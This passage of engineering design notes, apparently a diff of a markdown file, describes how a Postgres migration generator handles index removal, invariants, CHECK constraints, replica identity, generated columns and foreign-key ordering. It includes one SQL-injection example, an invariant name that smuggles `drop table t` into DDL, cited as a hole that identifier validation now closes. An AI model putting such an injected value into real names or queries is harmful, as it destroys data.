| the matcher is **narrow on purpose** | a miss costs exactly what happens today — the server's own `0A000`, one statement later — while a false positive refuses a migration that would have applied. Every retype `generateMigration` emits is `alter table <t> … alter [column] <c> type`; a hand-written `ALTER TABLE ONLY t …` is not, and is left to the server |
|
|
878
|
-
| one catalog round trip, and the PAIR is filtered in JS | the query asks every retyped table against every retyped column, so it answers pairs nobody retypes — `dv_notes.rank` out of `dv_docs.rank` and `dv_notes.mark`. Refusing on one is a deploy stopped over a view standing in nobody's way, which is worse than the message this exists to improve. Pinned live |
|
|
879
|
-
| the `fix:` is built through `identifier()` **inside a `try`** | `identifier()` refuses a name holding a quote, a space or a backslash, all three legal inside a quoted Postgres name, and a `fix:` may not throw — the rule `rebuildForeignKey` already states, with the same shape. `errors.ts` takes the finished string rather than importing `sql.ts`: that module imports `identifierUnsafe` from it, and an import cycle around the module whose evaluation REGISTERS every code is not one worth having for a quoted name |
|
|
880
|
-
|
|
881
|
-
A script that retypes nothing costs one text scan and no round trip, which is nearly every migration
|
|
882
|
-
an app writes.
|
|
883
|
-
|
|
884
|
-
**`index-ddl.ts` holds `createIndex`, `redefineIndex`, `indexShape`, `dropIndex`,
|
|
885
|
-
`dropRecordedIndex`, `mayBeConstraintBacked` and `asDeclared`**, split out of `generate.ts` at the
|
|
886
|
-
500-line ceiling along the seam `check-ddl.ts` and `generated-column.ts` already drew —
|
|
887
|
-
`generate.ts` assembles a plan, `index-plan.ts` decides which index statements go in it, and
|
|
888
|
-
`index-ddl.ts` writes them. `drift-findings.ts` is the same split on the other file: every `DriftDifference`
|
|
889
|
-
constructor and the `DriftKind` union, with `drift.ts` keeping the comparisons and re-exporting both
|
|
890
|
-
types explicitly so the public surface does not move.
|
|
891
|
-
|
|
892
|
-
**`index-plan.ts` walks both directions, `As of 2026-08-25`** — the third arm to learn it, after
|
|
893
|
-
`checkPlan` and `foreignKeyPlan`. `diffTable`'s index loop walked `declaredIndexes(entity)` and
|
|
894
|
-
matched by name with **no reverse pass**, so an index the entities stopped declaring stayed on the
|
|
895
|
-
database forever while the sidecar beside it stopped recording it: measured on `examples/dummy`,
|
|
896
|
-
`member_unique_per_org`, `members_tz_idx` and `post_slug_unique_per_org` all survived a regeneration
|
|
897
|
-
that recorded none of them, and the `drift` gate step was green over all three because drift judges
|
|
898
|
-
the declared side. `indexPlan(entity, live, plan, context)` is the whole question now — declared
|
|
899
|
-
first and removed last, the order `checkPlan` uses — and `generate.ts` calls it.
|
|
900
|
-
|
|
901
|
-
**A recorded UNIQUE index cannot be told from a UNIQUE CONSTRAINT's, and it never will be.**
|
|
902
|
-
`TableDescription` carries no discriminator and cannot usefully be given one: the *same*
|
|
903
|
-
declaration reaches the server as either, depending on which migration created it. A `unique` column
|
|
904
|
-
on a table `createTable` writes goes out as `create table … slug text unique`, which Postgres backs
|
|
905
|
-
with a **constraint** named `posts_slug_key`; the same column gaining `unique` later takes
|
|
906
|
-
`diffTable`'s `create unique index "posts_slug_key"` and is a plain index. `snapshotOf` records both
|
|
907
|
-
as `{ unique: true, primary: false }`, and every sidecar already on disk was written that way, so a
|
|
908
|
-
new field could not classify one retroactively. Measured on 18.4
|
|
909
|
-
(`index-removal.live.test.ts`):
|
|
910
|
-
|
|
911
|
-
| statement | on a constraint's index | on a plain index |
|
|
912
|
-
|---|---|---|
|
|
913
|
-
| `drop index "n"` | **2BP01** | ok |
|
|
914
|
-
| `drop index if exists "n"` | **2BP01** — `if exists` does not suppress it | ok |
|
|
915
|
-
| `alter table … drop constraint if exists "n"` | drops it, index and all | notice, no-op |
|
|
916
|
-
|
|
917
|
-
So `dropRecordedIndex` emits the **pair**, constraint first — reversed, the `drop index` reaches a
|
|
918
|
-
constraint's index and is the 2BP01 this exists to avoid — and only for the shape a constraint could
|
|
919
|
-
be backing: `mayBeConstraintBacked` is unique, non-primary, total, unordered and btree, because
|
|
920
|
-
`add constraint … unique` and a `unique` column clause can produce nothing else. A partial or
|
|
921
|
-
ordered or GIN index takes the bare `drop index`. The asymmetry that remains is named rather than
|
|
922
|
-
hidden: `down` recreates it with `create unique index`, so a constraint comes back as an index. That
|
|
923
|
-
is the one statement this generator has, and it restores what the record described.
|
|
924
|
-
|
|
925
|
-
Four names are skipped by the removal arm, and each is a statement Postgres would refuse or repeat:
|
|
926
|
-
a `primary` index (2BP01, and the key is `TableDescription.primaryKey`), one already in
|
|
927
|
-
`MovedAside.indexes` (a retype dropped it ahead of the ALTER — 42704), one over a column
|
|
928
|
-
`regenerate` rebuilt (it went with the `drop column` — 42704), and one over a column this migration
|
|
929
|
-
DROPS (`alter table … drop column` takes it, the rule `foreignKeyPlan` already applies to a
|
|
930
|
-
constraint on a dropped column). A doomed **table** needs no arm at all: `generate.ts` only reaches
|
|
931
|
-
a diff for a table an entity still declares. The known limit is written in the file header — a
|
|
932
|
-
unique index a foreign key on ANOTHER table still references cannot be dropped (2BP01), and this arm
|
|
933
|
-
sees one table at a time.
|
|
934
|
-
|
|
935
|
-
**An entity's INVARIANTS reach the DDL, `As of 2026-08-25`, and `invariant-ddl.ts` is what they
|
|
936
|
-
become.** `EntityDescriptionLike` had no `invariants` field at all — the same seam gap
|
|
937
|
-
`onDelete` carried until 3.0 — so a regenerated migration held **none** of them: measured on
|
|
938
|
-
`examples/dummy`, nine database-expressible rules across six tables, including
|
|
939
|
-
`member_unique_per_org UNIQUE(org_id, user_id)`, which is the constraint `upsertAll`'s inferred
|
|
940
|
-
`on conflict` rests on, and `post_slug_unique`. The `drift` gate step hashes entity SOURCE against a
|
|
941
|
-
sidecar and never reads the SQL, so the squash that lost them would have been **green**.
|
|
942
|
-
|
|
943
|
-
Four rules, none optional.
|
|
944
|
-
|
|
945
|
-
| Rule | Why |
|
|
946
|
-
|---|---|
|
|
947
|
-
| a `check` is a named `CONSTRAINT`, a `unique` is a unique **INDEX**, an `assert` is nothing | a soft-deleting entity stamps `deleted_at is null` onto a unique invariant and Postgres has no partial unique CONSTRAINT — only a partial unique index. An `assert` declares itself as a rule only the app can judge (`sql: null`), which is what `hasJsOnlyInvariant` already reads it as, so on its own it is not an unrendered loss — see the next paragraph for the case where it is |
|
|
948
|
-
| a `unique` invariant joins the ONE declared index list (`declaredIndexes`) | `createTable`, `diffTable` and `snapshotOf` must agree about what exists. A `create unique index` emitted and not recorded is `42P07` on the very next `x db gen` — worse than the silent drop |
|
|
949
|
-
| a `check` is recorded on `TableDescription.checks`, **absent** and never `[]` | a sidecar that predates the field must read as "nothing recorded" so the next generation ADDS the constraints the database is genuinely missing. `[]` would mean "declares none" and leave every already-generated app's invariants unenforced forever. That absence is the repair path, and `parseSnapshot` preserves it |
|
|
950
|
-
| the constraint name is `<table>_<name>_<check\|key>`, re-derived, bounded at 63 bytes, and **validated as an identifier** | nothing validates an invariant name at declaration, so `invariant('x" ); drop table t; --', …)` type-checks all the way to `create table` — the identical hole `columnName` carried. `identifier()` is the one rule; `constraintNameUnsafe` (`invariant-errors.ts`) exists only for its `fix:`, which names the `invariant()` call an author edits, and `generate-invariant.test.ts` pins that line because a guard whose value is its message is proven by nothing else |
|
|
951
|
-
|
|
952
|
-
**An `assert` IS an unrendered loss the moment a migration recorded its CHECK, `As of 2026-08-25`,
|
|
953
|
-
and that is the half `unrenderedOf` could not see.** `checkPlan` drops a recorded check nothing
|
|
954
|
-
declares — "a snapshot may not lie" — and an `assert` declares nothing in SQL, so regenerating
|
|
955
|
-
**deletes the database's half of a rule the entity still states**, with nothing added back and no
|
|
956
|
-
`-- destructive:` marker (`destructive.ts` excludes `drop constraint` by name, on the argument that
|
|
957
|
-
the database rebuilds it; here nothing does). Measured on `examples/dummy`: `x db gen` emitted
|
|
958
|
-
`alter table "posts" drop constraint "post_slug_shape"` and four more, and `unrenderedOf` answered
|
|
959
|
-
`[]` — so `@ultimat3/cli`'s `repairFix`, whose whole job is to refuse `x db gen` as the instruction
|
|
960
|
-
when the generator would lose something, read the empty list and handed out
|
|
961
|
-
`x db gen "drop post_slug_shape"`: the command that performs the loss, offered as the repair for it.
|
|
962
|
-
|
|
963
|
-
**The discriminator is what the recorded schema holds, never the kind.** An `assert` with nothing
|
|
964
|
-
recorded behind it loses nothing and is reported by nothing — the previous reading was right about
|
|
965
|
-
that, and a marker on nearly every app's every migration marks none. `unrenderedOf(entities,
|
|
966
|
-
current)` therefore takes the recorded schema, **required and nullable**: a caller with no sidecar
|
|
967
|
-
(the first migration) has to say `undefined`, because an argument nobody passes is a blind answer
|
|
968
|
-
nobody notices, which is exactly how the five drops shipped. `namesConstraint` (`invariant-ddl.ts`)
|
|
969
|
-
is the match, under **both** spellings — this generator's `<table>_<name>_check` and the rule's own
|
|
970
|
-
name, which is what a hand-written `0001_init.sql` calls it — and it never throws, because its
|
|
971
|
-
caller is a reporter reached by the `drift` gate step where a throw replaces a finding with a crash.
|
|
972
|
-
Self-clearing: once the drop is applied and the new sidecar written, nothing records the check and
|
|
973
|
-
the next generation reports nothing.
|
|
974
|
-
|
|
975
|
-
**A COLUMN declares a CHECK too, and until 2026-08-25 it reached `create table` and nothing else.**
|
|
976
|
-
`check-ddl.ts` is what it becomes. `columnClause` wrote `check (…)` **inline and anonymous**,
|
|
977
|
-
`snapshotOf` recorded no check for a column and `diffTable` had no arm for one — so the constraint
|
|
978
|
-
existed only in the statement that created the table and was invisible to every generation after it.
|
|
979
|
-
Neither `drift` nor `unrendered` could see the loss: the gate's `drift` step hashes entity SOURCE
|
|
980
|
-
against a sidecar and never reads the SQL, and `unrenderedOf` keys on declared **invariants**, which
|
|
981
|
-
these are not — they are minted by the column builder (`enumerated()`'s value set,
|
|
982
|
-
`tz()`'s IANA whitelist, `locale()`'s tags, money's currency pattern and scale bound;
|
|
983
|
-
`packages/entity/src/enum-column.ts` implements `enumerated(V)` as `kind: 'text'` plus
|
|
984
|
-
`check: oneOf(V)`). Three consequences, measured on `examples/dummy`: a value added to
|
|
985
|
-
`enumerated()` generated **no migration at all**, so the app accepted `'archived'` and the database
|
|
986
|
-
answered `23514`; a regenerated migration retyped every Postgres-ENUM column to bare `text` with no
|
|
987
|
-
CHECK beside it; and the sidecar claimed a schema the database did not have, so `down` and every
|
|
988
|
-
later diff reasoned off a lie.
|
|
989
|
-
|
|
990
|
-
Four rules, none optional.
|
|
991
|
-
|
|
992
|
-
| Rule | Why |
|
|
993
|
-
|---|---|
|
|
994
|
-
| every CHECK is a **named** constraint on ONE list (`declaredChecks` = `columnChecks` then `invariantChecks`) | `createTable`, `diffTable` and `snapshotOf` must agree about what exists, the rule `declaredIndexes` already states. An anonymous constraint is not diffable at all — there is nothing to match a recorded name against |
|
|
995
|
-
| the name is `<table>_<column>_check`, and it is **not a convention chosen here** | it is the name Postgres itself mints for an anonymous single-column CHECK — measured, `check-ddl.live.test.ts`, including for a multi-clause predicate like `scaleCheck`'s. Any other spelling makes the repair add a SECOND constraint beside the one an already-generated database is holding |
|
|
996
|
-
| an ADD onto a column the recorded schema already had is `drop constraint if exists` **then** `add constraint` | the two databases the generator cannot tell apart read identically in the snapshot — one is holding the old anonymous form under exactly this name, one is holding nothing because the old `diffTable` emitted nothing. A bare `add constraint` is `42710` on the first (measured), inside `ROLE=migrate`, with the server's words and none of the entity's. A column this migration ADDS, or one `regenerate` rebuilt, takes the bare add: the name provably cannot be taken |
|
|
997
|
-
| two declarations naming one constraint are **refused**, never deduped | `invariant('status', …)` on a table whose `status` is an `enumerated()` derives the same `posts_status_check` the column owns, and two `add constraint` under one name is `42710` — a migration nobody can apply, which is worse than either declaration being dropped. `X_INVARIANT` through core's `assert`, the refusal `createIndex` already gives a unique GIN. Unlike two identical index definitions there is nothing to dedup: the predicates differ |
|
|
998
|
-
|
|
999
|
-
**What an app with an existing sidecar sees on its first `x db gen` after this.** One
|
|
1000
|
-
`drop constraint if exists` / `add constraint` pair per checked column, on every table it already
|
|
1001
|
-
has — the same absent-never-`[]` discipline `checks` was given for invariants, read the other way
|
|
1002
|
-
round: the sidecar says nothing, so the generator emits the pair that is correct whether the
|
|
1003
|
-
database is holding the constraint or not. Self-clearing — the new sidecar records the check and the
|
|
1004
|
-
next generation emits nothing. It is not free: `add constraint … check` takes `ACCESS EXCLUSIVE` and
|
|
1005
|
-
scans the table, under `migrate`'s 3s `lock_timeout`. Validating is deliberate over `NOT VALID`,
|
|
1006
|
-
which would accept the rows already in the table — and a database holding the identical constraint
|
|
1007
|
-
has none that can fail.
|
|
1008
|
-
|
|
1009
|
-
**`checkPlan` takes the `rebuilt` set for the same reason `diffTable`'s index loop does.**
|
|
1010
|
-
`regenerate`'s plain -> generated path is `drop column` + `add column`, which takes the constraint
|
|
1011
|
-
with it while the snapshot still records it — so without the set the check is silently gone, which
|
|
1012
|
-
is this file's own defect one level in.
|
|
1013
|
-
|
|
1014
|
-
`rebuildCheck` is NOT `destructive.ts`'s concern: `drop constraint` is excluded there by name on
|
|
1015
|
-
the argument that the database rebuilds it, and here the very next statement does.
|
|
1016
|
-
|
|
1017
|
-
|
|
1018
|
-
**A default's VALUE crosses the seam too.** `ColumnDescriptionLike.default` carries
|
|
1019
|
-
`ColumnDefaultLike` and `defaultExpression` renders it; `hasDefault` stays beside it as the older,
|
|
1020
|
-
narrower fact `generatedClause` reads. `@ultimat3/entity` projects the value beside the flag
|
|
1021
|
-
(`packages/entity/src/describe.ts:175`), so the nine defaults in `examples/dummy` — `plan_code`,
|
|
1022
|
-
`billing_currency`, `role`, `tz`, `locale`, `theme`, `digest_opt_in`, `status`, `like_count` — do
|
|
1023
|
-
reach the SQL. A description whose producer does not project it still reads `hasDefault` alone, and
|
|
1024
|
-
that half **is not silent**: `unrenderedOf` reports each one on `GeneratedMigration.unrendered` and
|
|
1025
|
-
`unrenderedComment` writes a `-- UNRENDERED` block at the top of the emitted `up`.
|
|
1026
|
-
|
|
1027
|
-
Comments, never a refusal, and never onto an EMPTY diff. A refusal would be a generator no app with
|
|
1028
|
-
a `.default('draft')` could run at all until tier 2 ships one line, and a migration nobody can
|
|
1029
|
-
generate repairs nothing. The empty-diff exclusion is `@ultimat3/cli`'s
|
|
1030
|
-
`generateAppMigration`, which reads `up.trim().length === 0` as "nothing changed": a comment there
|
|
1031
|
-
makes every `x db gen` write a file holding no statement — a ledger row, a checksum and a place in
|
|
1032
|
-
the apply order for nothing.
|
|
1033
|
-
|
|
1034
|
-
**`REPLICA IDENTITY FULL` is emitted, `As of 2026-08-26` — by a PARAMETER, never by an entity
|
|
1035
|
-
field.** `@ultimat3/realtime` refuses a live query on a table without it and nothing in the
|
|
1036
|
-
framework wrote it, so a scaffolded app generated a schema its own preflight rejected (issue #357).
|
|
1037
|
-
Which tables need it is **declared** by each `live: true` query's `subscribes:` and read out of the
|
|
1038
|
-
manifest — **not derived**, and this file said "derived" until 2026-08-26. It cannot be derived: the
|
|
1039
|
-
relation name is a string inside the query's `sql:` callback, which no generator can invoke without
|
|
1040
|
-
valid input, so a live-query-to-table set does not exist anywhere to be read. `liveFeed` in the
|
|
1041
|
-
reference app requires `{ orgId: t.uuid, limit }` and its table is the `'posts'` literal inside
|
|
1042
|
-
`from<PostSummary>('posts', …)`; `packages/query/src/sql.ts` says the same thing about itself —
|
|
1043
|
-
"`null` when no sample input was supplied". `X_QUERY_SUBSCRIBES_DRIFT` is what keeps the declaration
|
|
1044
|
-
honest, checked against the resolved shape at first subscribe. It is still a PARAMETER and never an
|
|
1045
|
-
`EntityDescriptionLike` field — this package is tier 1 and can see neither the manifest nor
|
|
1046
|
-
`@ultimat3/query` — so such a field would have been a declared-and-never-wired key, the defect class
|
|
1047
|
-
this release exists to eliminate. `GenerateOptions.replicaIdentityFull: readonly string[] |
|
|
1048
|
-
undefined` is the shape, passed by `@ultimat3/cli`'s `db-generate.ts` from `describeQueries()` —
|
|
1049
|
-
the descriptor, one hop BEFORE the manifest. `x.manifest.json` projects the same declaration
|
|
1050
|
-
(`QueryFact.subscribes`) and is what any other reader should use, but `appManifest(root)` re-loads
|
|
1051
|
-
the app and calls `appIdentity(root)`, which throws `X_APP_PACKAGE_INVALID` where there is no
|
|
1052
|
-
`package.json` — and `x db gen` has never needed one. `replica-identity.ts` owns every rule that
|
|
1053
|
-
rides with it.
|
|
1054
|
-
|
|
1055
|
-
| Rule | Why |
|
|
1056
|
-
|---|---|
|
|
1057
|
-
| recorded on the snapshot as `TableDescription.replicaIdentityFull` | `true` or **absent**, never `false` — the literal type is the enforcement. Absent is "nothing recorded", the reading `checks` and `using` already have, so a sidecar written before the field emits the ALTER once more and Postgres accepts it on a table that has it. Without the record the statement lands in **every** migration forever, which is a generator an author learns to ignore |
|
|
1058
|
-
| the snapshot records the **union** with what was already recorded | a caller passing no set must not erase the fact. `snapshotOf(entities)` alone answers `NONE`, so the one place the union is computed is `generateMigration` |
|
|
1059
|
-
| dead **last** in `up` | the table has to exist and a `create table` in this same migration is why it might not. It is ordered against nothing else — replica identity constrains no column, index or constraint — so the end is the only placement that cannot read as depending on a statement above it |
|
|
1060
|
-
| never `-- destructive: true` | it drops no row, rewrites no column and matches none of `destructive.ts`'s four rules. `generate-replica-identity.test.ts` asserts both the verdict and `destructiveStatements()` |
|
|
1061
|
-
| a name **no entity declares** is skipped, silently | the list comes from the manifest, and a live query whose entity was deleted is an app fault this generator cannot repair. Emitting it anyway is `42P01` at `ROLE=migrate`, which is the one place this package refuses to put a fault |
|
|
1062
|
-
| nothing is ever **reverted** | the option is optional, so "absent" and "no live query subscribes any more" are the same value. Reading them alike would let a caller that never passes it turn off replication for every subscribed table in the app |
|
|
1063
|
-
| `down` is `replica identity default`, except on a table this migration **creates** | that table's whole `down` is already `drop table`; a second statement ahead of it is a line an author reads and nothing performs |
|
|
1064
|
-
|
|
1065
|
-
**A column the DATABASE computes is a different thing at every step, and `generated-column.ts` is
|
|
1066
|
-
all of them** — `As of 2026-08-24`. `ColumnDescriptionLike.generated` carries the
|
|
1067
|
-
`generated always as (<expr>) stored` body across the tier seam (this package cannot import
|
|
1068
|
-
`@ultimat3/entity`, so a field that is not on the projection reaches no DDL at all), and it reached
|
|
1069
|
-
none until this date: `@ultimat3/entity`'s `.searchable()` emitted a `tsvector not null` column that
|
|
1070
|
-
`columnClause` rendered plain, so nothing computed it and **the first insert was a `23502`**. Loud,
|
|
1071
|
-
which was deliberate — but a feature nobody can insert into is not shipped. Four rules ride with it,
|
|
1072
|
-
each one measured against a real server (`generate-generated-column.live.test.ts`):
|
|
1073
|
-
|
|
1074
|
-
| Rule | Why it is not the ordinary column's rule |
|
|
1075
|
-
|---|---|
|
|
1076
|
-
| the clause sits directly after the type | `"c" tsvector generated always as (…) stored not null check (…)` is what Postgres accepts; a column constraint may follow it |
|
|
1077
|
-
| **generated and defaulted is refused** at `x db gen` | Postgres has no such column (`42601`) — a generated column's value IS its expression. `X_INVARIANT`, the same refusal `createIndex` gives a unique GIN, and for the same reason: the alternative is DDL whose first reader is `ROLE=migrate` |
|
|
1078
|
-
| an expression that moved is **`set expression as (…)`**, never a drop and recreate | Postgres 17's statement, and it rewrites the table, recomputes every row and **keeps the column's indexes** — measured. Dropping the column takes its GIN index with it and nothing in the diff puts one back, and `alter table … drop column` is what `destructive.ts` reads as data loss: every expression change would then carry `-- destructive: true` on a migration that loses nothing, and a marker on all is none |
|
|
1079
|
-
| a retype on it carries **no `using`** | Postgres refuses `using` on a generated column outright, which is exactly what `retypeColumn` emits for every other column — and there is nothing to convert, because the expression produces the new type itself |
|
|
1080
|
-
| the NOT NULL add is **one statement**, never nullable-then-backfill | the database computes it for every existing row inside the same `add column`. The ordinary path's `-- backfill "c", then: … set not null;` names a step nobody can perform: writing to a generated column is `428C9` |
|
|
1081
|
-
|
|
1082
|
-
Two transitions have no `set expression`. **Generated → plain is `drop expression`**, which keeps
|
|
1083
|
-
every value the column already computed. **Plain → generated is the whole column again** — drop,
|
|
1084
|
-
add, and every index over it stated a second time, which is why `regenerate` answers `rebuilt` and
|
|
1085
|
-
`diffTable` carries that set into its index loop: `redefineIndex` sees a definition that never moved
|
|
1086
|
-
and would emit nothing, so the table would come back with no index at all.
|
|
1087
|
-
|
|
1088
|
-
**`introspect` deliberately does not read `generation_expression` back.** Postgres stores its own
|
|
1089
|
-
rewriting (`COALESCE(title, ''::text)` for `coalesce("title", '')`), so a catalog value could never
|
|
1090
|
-
compare equal to a generated one and drift would report a correct database forever. The diff that
|
|
1091
|
-
DOES read it is `x db gen`'s, where both sides are this generator's own spellings — the rule
|
|
1092
|
-
`IndexDescription.where` already states.
|
|
1093
|
-
|
|
1094
|
-
`compareTable` judges **declared** indexes: one the migrations name and the catalog does not hold is
|
|
1095
|
-
`missing-index`, and one whose access method, column list or uniqueness moved is `changed-index` — which is what
|
|
1096
|
-
catches a composite index rebuilt with its columns the other way round while the column diff said
|
|
1097
|
-
`ok: true`. A live index no snapshot names is deliberately **not** reported: Postgres creates one for
|
|
1098
|
-
every primary key and every unique constraint, so counting those is eight findings against a correct
|
|
1099
|
-
database, the same argument `appTables()` makes. **Three of the four parts are compared, and the fourth never
|
|
1100
|
-
will be**, `As of 2026-08-19`: the predicate's *text* stays uncompared, because the catalog returns
|
|
1101
|
-
its own rewriting of an expression (`(deleted_at IS NULL)`) where the snapshot holds the author's
|
|
1102
|
-
spelling, and normalising that is an expression parser competing with the server's — `x db gen`
|
|
1103
|
-
compares the text instead (`redefineIndex`), where both sides are generated. Its *presence* is a
|
|
1104
|
-
boolean, not text, and the direction is a closed enum on both sides, so both are compared now: a
|
|
1105
|
-
partial index recreated as a total one silently widens the constraint, and a `desc` index rebuilt
|
|
1106
|
-
ascending serves a feed's newest page off the wrong end. `asc` normalises to `null` first —
|
|
1107
|
-
`createIndex` writes `"col" asc`, which Postgres stores as not-descending, so the raw values differ
|
|
1108
|
-
on every ascending index in a correct database.
|
|
1109
|
-
|
|
1110
|
-
`compareForeignKeys` judges **declared** keys the same way, and matches on **where the key points**
|
|
1111
|
-
— its columns, its target table, its target columns — never on the constraint name. That identity is
|
|
1112
|
-
`foreignKeyTarget` (`foreign-key.ts`), the **one** copy, read by this comparison and by `x db gen`'s
|
|
1113
|
-
own diff: a generator and a detector that disagreed about whether two keys are the same key is drift
|
|
1114
|
-
reported on a correct database. `snapshotOf` names a key `<table>_<column>_fkey` — what Postgres
|
|
1115
|
-
would have called an inline `references` clause — and `addForeignKey` now writes that name out, so
|
|
1116
|
-
the snapshot records a name the migration beside it chose rather than one it guessed; a hand-written
|
|
1117
|
-
migration may still have said `constraint fk_posts_org`, and a key pointing the same way under
|
|
1118
|
-
another name is the same key. `onDelete` **is** compared, `As of 2026-08-19`, through `onDeleteRule`
|
|
1119
|
-
(`foreign-key.ts`) — the one normalisation both sides pass through, because the catalog spells the
|
|
1120
|
-
rule `a`/`c`/`r`/`n`/`d` and a description spells it out, and `a` (`no action`) is what a key that
|
|
1121
|
-
declared nothing has. A difference is `changed-foreign-key`, never a `missing` one: the rule is not
|
|
1122
|
-
part of a key's identity (`foreignKeyTarget` ignores it, pinned by `foreign-key.test.ts`), the
|
|
1123
|
-
constraint is there, and what changed is what happens to the child rows. Its `fix` is the drop/add
|
|
1124
|
-
pair built from `dropForeignKey`/`addForeignKey`, not `x db migrate` — a rule cannot be altered in
|
|
1125
|
-
place and no `x db gen` diff emits one for a schema already applied. Before
|
|
1126
|
-
this, `snapshotOf` recorded `foreignKeys: []` beside an `up` emitting `references "orgs" ("id")` — a
|
|
1127
|
-
snapshot denying a constraint its own migration creates — so `alter table … drop constraint` on the
|
|
1128
|
-
database answered `ok: true`.
|
|
1129
|
-
|
|
1130
|
-
**A foreign key is `alter table … add constraint`, never a clause inside `create table`** — decided
|
|
1131
|
-
2026-08, and it is the difference between a first migration that applies and one that does not.
|
|
1132
|
-
Inline, the constraint is created with the table, so the referenced table must already exist; the
|
|
1133
|
-
order `generateMigration` walks is `describeEntities()`, which is the app's *import* order and has
|
|
1134
|
-
nothing to say about which table a `references()` points at. Measured against PGlite on a scaffolded
|
|
1135
|
-
app: `create table "comments" (… references "posts" …)` before `create table "posts"`, statement one,
|
|
1136
|
-
`relation "posts" does not exist`. `down` had the mirror fault — `drop table "posts"` while
|
|
1137
|
-
`comments` still referenced it is `2BP01`. So `foreignKeyPlan` collects every key into a bucket of
|
|
1138
|
-
its own, merged into the plan **after** every table statement; `down` is reversed as a whole, so the
|
|
1139
|
-
drops pushed last there come out first. No topological sort and **no cycle error** *for adds*: two
|
|
1140
|
-
tables referencing each other cannot be expressed inline in any order, and separate constraints need
|
|
1141
|
-
no order at all. Dropping is not symmetrical and does need one — the paragraph below. The same call site answers the other half — a `references()` added to a column that
|
|
1142
|
-
already exists now emits its `add constraint`, where before `up` came out **empty**, `x db gen`
|
|
1143
|
-
wrote no file, and `x verify`'s drift step stayed red forever with `x db gen "…"` as a fix that did
|
|
1144
|
-
nothing.
|
|
1145
|
-
|
|
1146
|
-
**Dropping a table has its own bucket, emitted BEFORE the table statements — the mirror image of
|
|
1147
|
-
the one above, `As of 2026-08-23`.** `--allow-destructive` emitted a bare `drop table "authors";`
|
|
1148
|
-
with every `alter table … drop constraint` appended AFTER it, so dropping a table another entity
|
|
1149
|
-
`references()` was `2BP01 cannot drop table authors because other objects depend on it` — during
|
|
1150
|
-
`ROLE=migrate` in the release phase, with the ledger recording nothing and a `down` of
|
|
1151
|
-
`-- "<table>" cannot be restored`, i.e. nothing to reverse and a generated file to hand-edit. The
|
|
1152
|
-
two-table case failed identically because drops came out **alphabetically**, which puts the parent
|
|
1153
|
-
first. Two halves. `foreignKeyPlan` routes a key whose `referencedTable` is doomed into `preDrops`
|
|
1154
|
-
instead of `constraints` — whether the entity still declares it or not, since a constraint cannot
|
|
1155
|
-
outlive its target — and its `down` is a comment, because `add constraint` against a table no
|
|
1156
|
-
`down` can restore is a rollback that cannot run. `drop-order.ts` orders the drops children-first
|
|
1157
|
-
(a self-reference is not a blocker: `drop table` takes the table's own constraints with it) and
|
|
1158
|
-
breaks a cycle between two doomed tables by dropping one inbound key first, which is the only
|
|
1159
|
-
statement it emits. The `--allow-destructive` refusal is raised over that same ordered list, so
|
|
1160
|
-
which table it names does not move with the alphabet.
|
|
1161
|
-
|
|
1162
|
-
**`foreignKeyPlan` lives in `foreign-key-plan.ts`, `As of 2026-08-23`** — split out of
|
|
1163
|
-
`generate.ts` at the 500-line ceiling, along the seam it already drew: `generate.ts` assembles a
|
|
1164
|
-
plan, `foreign-key-plan.ts` decides which bucket each key statement goes in, `foreign-key.ts`
|
|
1165
|
-
writes the SQL. `Plan`, `foreignKeysOf` and `referenceParts` went with it because they are that
|
|
1166
|
-
module's vocabulary; `snapshotOf` imports `foreignKeysOf` back, one direction only.
|
|
1167
|
-
|
|
1168
|
-
**`foreignKeyPlan` walks both directions, `As of 2026-08-19`.** A *removed* `references()` used to
|
|
1169
|
-
emit nothing while the snapshot beside it recorded `foreignKeys: []` — so the orphan constraint
|
|
1170
|
-
stayed on the database **and** the record denied one the catalog holds, which `compareForeignKeys`
|
|
1171
|
-
can never see because it judges the declared side. **This paragraph said "that is not parity with a
|
|
1172
|
-
removed index: a removed index leaves the snapshot correct by omission", and that was wrong** — see
|
|
1173
|
-
`index-plan.ts` below: a removed index's snapshot lied in exactly the same way, and the arm to fix
|
|
1174
|
-
it did not land until 2026-08-25. The drop names the
|
|
1175
|
-
constraint **the previous snapshot recorded**, never the one this generator would have chosen — a
|
|
1176
|
-
hand-written `fk_legacy` is `42704` under the generated spelling — and a key whose columns this
|
|
1177
|
-
migration is dropping is skipped, because `drop column` takes the constraint with it. A key whose
|
|
1178
|
-
`onDelete` moved is a drop **and** an add, the rebuild `redefineIndex` performs for the parts of an
|
|
1179
|
-
index Postgres cannot alter in place.
|
|
1180
|
-
|
|
1181
|
-
**`on delete` reaches the SQL, `As of 2026-08-19`.** `entity()` has carried
|
|
1182
|
-
`references(() => orgs.id, { onDelete: 'cascade' })` since 1.0, it type-checked, and the clause it
|
|
1183
|
-
produced was `references "orgs" ("id");` — a declared cascade the database refused the delete
|
|
1184
|
-
under instead. It was lost twice over: `describeColumn` renders `references` as the flat string
|
|
1185
|
-
`"orgs.id"`, which has no room for it, and `ReferenceDescription` had no field for it either. Both
|
|
1186
|
-
carry it now, `addForeignKey` writes it out, and a rule Postgres does not have is `X_INVARIANT`
|
|
1187
|
-
rather than spliced DDL — the discipline `createIndex` already applies to an index naming no column.
|
|
1188
|
-
|
|
1189
|
-
**`entity-shape.ts` holds the three `*Like` interfaces**, split out of `generate.ts` for the line
|
|
1190
|
-
ceiling and along the seam the tier already draws: they are the structural mirror of
|
|
1191
|
-
`@ultimat3/entity`'s description, which is how a snapshot crosses tier 2 → tier 1 with no import.
|
|
1192
|
-
`ColumnDescriptionLike.onDelete` is optional for exactly that reason — a description written before
|
|
1193
|
-
the field existed still satisfies the shape — and `ColumnDescriptionLike.generated` is optional for
|
|
1194
|
-
the same one.
|
|
1195
|
-
|
|
1196
|
-
**`snapshot-json.ts` writes the sidecar's bytes, and they must be a fixed point of Biome.** A
|
|
1197
|
-
scaffolded app's `lint` step is `biome check .` over `"includes": ["**"]`, and `.sql`/`.hash` are
|
|
1198
|
-
types Biome does not process — so the `.snapshot.json` is the first migration artefact lint ever
|
|
1199
|
-
sees. `JSON.stringify(value, null, 2)` is not that fixed point: Biome collapses `["id"]` onto one
|
|
1200
|
-
line and `JSON.stringify` never does, so `x db gen` wrote a file the app's own gate rejected — axiom
|
|
1201
|
-
3, inverted. Two rules, measured against 2.5.5 and encoded in `print`: an **object** keeps the
|
|
1202
|
-
source's shape, so emitting every non-empty one broken is stable by construction; an **array**
|
|
1203
|
-
collapses when every element is already on one line and the line fits, *counting the trailing
|
|
1204
|
-
